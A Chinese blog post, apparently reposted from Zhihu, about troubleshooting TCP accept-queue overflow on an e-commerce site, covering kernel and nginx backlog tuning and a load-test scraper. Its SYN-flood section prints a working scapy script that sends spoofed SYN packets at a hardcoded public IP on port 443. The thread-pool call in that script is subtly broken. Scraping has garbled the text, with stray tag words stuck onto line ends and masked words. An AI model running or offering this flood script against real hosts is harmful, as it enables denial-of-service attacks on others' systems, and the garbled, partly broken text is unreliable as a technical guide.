記一次驚心的網站 TCP 隊列問題排查經歷

1html

   問題描述python



  1. 監控系統發現電商網站主頁及其它頁面間歇性的沒法訪問;linux

  2. 查看安全防禦和網絡流量、應用系統負載均正常;nginx

  3. 系統重啓後,可以暫時解決,但持續一段時間後間歇性問題再次出現。web

此時問題已影響到整個網站的正常業務,我那個心驚呀,最主要是報警系統沒有任何報警,服務運行一切正常,瞬時背上的汗已經出來了。但仍是要靜心,來仔細尋找蛛絲馬跡,來一步一步找問題。安全



2服務器

  問題初步判斷cookie



  • 檢查dev 和 網卡設備層,是否有error和drop ,分析在硬件和系統層是否異常 ----- 命令 cat /proc/net/dev 和 ifconfig網絡

  • 觀察socket overflow  和 socket droped(若是應用處理全鏈接隊列(accept queue)過慢 socket overflow,影響半鏈接隊列(syn queue)溢出socket dropped)----- 命令 netstat -s |grep -i listen多線程


cb7e9a492afdaf40aa13191d51328b30.jpeg 發現SYN socket overflow  和 socket droped 急增長


  • 檢查sysctl內核參數:backlog ,somaxconn,file-max 和  應用程序的backlog ;

ss -lnt查詢,SEND-Q會取上述參數的最小值


24bfa355e5acd9a8ca891ec647222a7d.jpeg發現當時隊列已經超過網站80端口和443端口默認值

  • 檢查 selinux 和 NetworkManager 是否啓用 ,建議禁用;

  • 檢查timestap ,reuse 啓用,內核recycle是否啓用,若是過NAT,禁用recycle;

  • 抓包判斷請求進來後應用處理的狀況,是否收到SYN未響應狀況。



3

  深刻分析問題 




正常TCP建鏈接三次握手過程:

88835b9ab82f95a5c593d639baba53d0.jpeg

  • 第一步:客戶端 發送 syn 到 服務端發起握手;

  • 第二步:服務端 收到 syn後回覆syn+ack給 客戶端

  • 第三步:客戶端 收到syn+ack後,回覆 服務端一個ack表示收到了 服務端的syn+ack 。

從描述的狀況來看,TCP建鏈接的時候全鏈接隊列(accept隊列)滿了,尤爲是描述中症狀爲了證實是這個緣由。反覆看了幾回以後發現這個overflowed 一直在增長,那麼能夠明確的是server上全鏈接隊列必定溢出了。


接着查看溢出後,OS怎麼處理:

# cat /proc/sys/net/ipv4/tcp_abort_on_overflow

0

tcp_abort_on_overflow 爲0表示若是三次握手第三步的時候全鏈接隊列滿了那麼server扔掉client 發過來的ack(在server端認爲鏈接還沒創建起來)


爲了證實客戶端應用代碼的異常跟全鏈接隊列滿有關係,我先把tcp_abort_on_overflow修改爲 1,1表示第三步的時候若是全鏈接隊列滿了,server發送一個reset包給client,表示廢掉這個握手過程和這個鏈接(原本在server端這個鏈接就還沒創建起來)。


接着測試而後在web服務日誌中異常中能夠看到不少connection reset by peer的錯誤,到此證實客戶端錯誤是這個緣由致使的。


查看sysctl內核參數:backlog ,somaxconn,file-max 和  nginx的backlog配置參數,ss -ln取最小值,發現爲128,此時resv-q已經在129 ,請求被丟棄。將上述參數修改,並進行優化:


  • linux內核參進行優化:
    net.ipv4.tcp_syncookies = 1
    net.ipv4.tcp_max_syn_backlog = 16384
    net.core.somaxconn = 16384

  • nginx 配置參數優化:
    backlog=32768;

利用python 多線程壓測,並未發現新的問題:

import requests from bs4 import BeautifulSoupfrom concurrent.futures import ThreadPoolExecutorurl='https://www.wuage.com/'response=requests.get(url)soup=BeautifulSoup(response.text,'html.parser')with ThreadPoolExecutor(20) as ex:
    for each_a_tag in soup.find_all('a'):
        try:
            ex.submit(requests.get,each_a_tag['href'])
        except Exception as err:
            print('return error msg:'+str(err))

理解TCP握手過程當中建鏈接的流程和隊列


b3de2485868e1440c9f0ffda812b66eb.jpeg

如上圖所示,這裏有兩個隊列:syns queue(半鏈接隊列);accept queue(全鏈接隊列)


三次握手中,在第一步server收到client的syn後,把相關信息放到半鏈接隊列中,同時回覆syn+ack給client(第二步);


第三步的時候server收到client的ack,若是這時全鏈接隊列沒滿,那麼從半鏈接隊列拿出相關信息放入到全鏈接隊列中,不然按tcp_abort_on_overflow指示的執行。


這時若是全鏈接隊列滿了而且tcp_abort_on_overflow是0的話,server過一段時間再次發送syn+ack給client(也就是從新走握手的第二步),若是client超時等待比較短,就很容易異常了。


4

 sYN Flood洪水***




當前最流行的DoS(拒絕服務***)與DDoS(分佈式拒絕服務***)的方式之一,這是一種利用TCP協議缺陷,致使被***服務器保持大量SYN_RECV狀態的「半鏈接」,而且會重試默認5次迴應第二個握手包,塞滿TCP等待鏈接隊列,資源耗盡(CPU滿負荷或內存不足),讓正常的業務請求鏈接不進來。

from concurrent.futures import ThreadPoolExecutor
from scapy.all import *
def synFlood(tgt,dPort):
    srcList = ['11.1.1.2','22.1.1.102','33.1.1.2',
               '125.130.5.199']
    for sPort in range(1024, 65535):
        index = random.randrange(4)
        ipLayer = IP(src=srcList[index], dst=tgt)
        tcpLayer = TCP(sport=sPort, dport=dPort,flags='S')
        packet = ipLayer/tcpLayer
        send(packet)

tgt = '139.196.251.198'
print(tgt)
dPort = 443

with ThreadPoolExecutor(10000000) as ex:
    try:
        ex.submit(synFlood(tgt,dPort))
    except Exception as err:
        print('return error msg:' + str(err))

因此你們要對TCP半鏈接隊列和全鏈接隊列的問題很容易被忽視,可是又很關鍵,特別是對於一些短鏈接應用更容易爆發。


出現問題後,從網絡流量、cpu、線程、負載來看都比較正常,在用戶端來看rt比較高,可是從服務器端的日誌看rt又很短。如何避免在出現問題時手忙腳亂,創建起應急機機制,後續有機會寫一下應急方面的文章。


來源:知乎

連接:https://zhuanlan.zhihu.com/p/36731397

相關文章
相關標籤/搜索